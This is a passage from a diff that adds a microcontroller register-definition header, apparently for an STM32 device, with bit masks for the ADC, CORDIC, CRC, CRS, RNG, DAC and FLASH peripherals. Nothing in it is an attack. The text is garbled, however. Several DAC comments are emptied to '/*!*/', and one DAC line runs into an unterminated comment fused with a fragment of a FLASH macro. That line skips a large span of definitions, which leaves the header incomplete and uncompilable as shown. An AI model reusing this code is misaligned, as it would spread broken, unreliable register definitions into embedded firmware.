ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0x92F3U) +#define RNG_NSCR_NIST_VALUE (0x1609U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL 